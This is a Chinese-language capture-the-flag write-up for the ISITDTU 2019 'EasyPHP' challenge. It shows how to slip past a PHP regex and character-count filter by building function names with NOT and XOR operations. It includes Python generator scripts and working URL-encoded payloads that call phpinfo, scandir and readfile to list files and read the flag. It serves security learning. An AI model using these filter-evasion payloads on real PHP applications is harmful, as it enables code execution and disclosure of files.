[ISITDTU 2019]EasyPHP
一个正则绕过,先看正则匹配过滤了什么
\x00- (\x20) 过滤了00到20的十六进制字符
0-9 过滤了数字
’ "`$&.,过滤了这些字符和\x7f字符
count_chars模式选为3的话统计字符串里出现过的字符,题目中设置不能超过13(0xd)个
但是没有过滤~和^,可以取反和异或绕过。
<?php
echo urlencode(~'phpinfo');
?>
先用_=(~%8F%97%8F%96%91%99%90)();
看一下phpinfo,找到disable_functions。
用scandir扫描根目录,然后用print_r打印结果,因此命令是print_r(scandir(.))
如果用取反绕过的话,print_r取反是%8F%8D%96%91%8B%A0%8D
,scandir取反是%8C%9C%9E%91%9B%96%8D
,.取反是%D1
。组合起来是
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)));
但是很可惜的有15个不同的字符,达不到要求。取反能够减少的字符种类有限,因此接下来尝试异或。
用来生成异或字符串的python脚本,一边全是0xff,这样用到的字符更少也更方便
str='print_r' # 更换成为想要的字符串
for i in str:
print(hex( int(hex(ord(i)),16) ^ 0xff),end='')
print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
scandir=(%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)
.=(%d1)^(%ff)
最后的payload是
((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%d1)^(%ff))));
但这也超过13个字符的限制了,好在异或可以把某些字母表示成复数个其他字母的组合
用以下这个python脚本可以把字符串中的字符替换成已有的其他字符
now ='().;_acdinprst'
for i in now :
for j in now:
for k in now :
for m in now :
if ord(j)^ord(k)^ord(m) == ord(i):
if(j==k or j==m or m==k ):
continue
else :
print(i+'=='+j + '^'+ k +'^'+m)
因为加上ff一共有16种字符,所以要替换掉三种字符,选择n,r,t,替换方案如下
t = s^c^d
n = i^c^d
r = a^c^p
本来print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
,现在把其中的%8d=%9e^%9c^%8f
,%91=%96^%9c^%9b
,%8b=%8c^%9c^%9b
,不需要变的就多异或两次%ff
最终变成
print_r=((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
以下python脚本可以自动完成这个工作
replace1="t"
replace2="n"
replace3="r"
rep1=["s","c","d"]
rep2=["i","c","d"]
rep3=["a","c","p"]
temp1=[]
temp2=[]
temp3=[]
temp4=[]
str="print_r"
for i in str:
if i == replace1:
temp1.append(hex(int(hex(ord(rep1[0])),16) ^ 0xff))
temp2.append(hex(int(hex(ord(rep1[1])), 16) ^ 0xff))
temp3.append(hex(int(hex(ord(rep1[2])), 16) ^ 0xff))
temp4.append('0xff')
elif i == replace2:
temp1.append(hex(int(hex(ord(rep2[0])),16) ^ 0xff))
temp2.append(hex(int(hex(ord(rep2[1])), 16) ^ 0xff))
temp3.append(hex(int(hex(ord(rep2[2])), 16) ^ 0xff))
temp4.append('0xff')
elif i == replace3:
temp1.append(hex(int(hex(ord(rep3[0])),16) ^ 0xff))
temp2.append(hex(int(hex(ord(rep3[1])), 16) ^ 0xff))
temp3.append(hex(int(hex(ord(rep3[2])), 16) ^ 0xff))
temp4.append('0xff')
else:
temp1.append(hex(int(hex(ord(i)), 16) ^ 0xff))
temp2.append('0xff')
temp3.append('0xff')
temp4.append('0xff')
result="(("
for j in temp1:
result+= ("%"+j[2:])
result+=")^("
for j in temp2:
result+= ("%"+j[2:])
result+=")^("
for j in temp3:
result+= ("%"+j[2:])
result+=")^("
for j in temp4:
result+= ("%"+j[2:])
result+="))"
print(result)
同理,scandir=((%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f)^(%ff%ff%ff%ff%ff%ff%ff))
最终payload:
((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))((%d1)^(%ff)));
找到了flag所在文件,用readfile(end(scandir(.)))来读文件,一样是16种字符。那就和之前的一样把n,r,f替换了,f==d^c^a
,r==d^e^s
readfile=((%9b%9a%9e%9b%9e%96%93%9a)^(%9a%ff%ff%ff%9c%ff%ff%ff)^(%8c%ff%ff%ff%9b%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))
end=((%9a%96%9b)^(%ff%9c%ff)^(%ff%9b%ff)^(%ff%ff%ff))
scandir=((%8c%9c%9e%96%9b%96%9b)^(%ff%ff%ff%9c%ff%ff%9a)^(%ff%ff%ff%9b%ff%ff%8c)^(%ff%ff%ff%ff%ff%ff%ff))
payload:
((%9b%9a%9e%9b%9e%96%93%9a)^(%9a%ff%ff%ff%9c%ff%ff%ff)^(%8c%ff%ff%ff%9b%ff%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%96%9b)^(%ff%9c%ff)^(%ff%9b%ff)^(%ff%ff%ff))(((%8c%9c%9e%96%9b%96%9b)^(%ff%ff%ff%9c%ff%ff%9a)^(%ff%ff%ff%9b%ff%ff%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff))));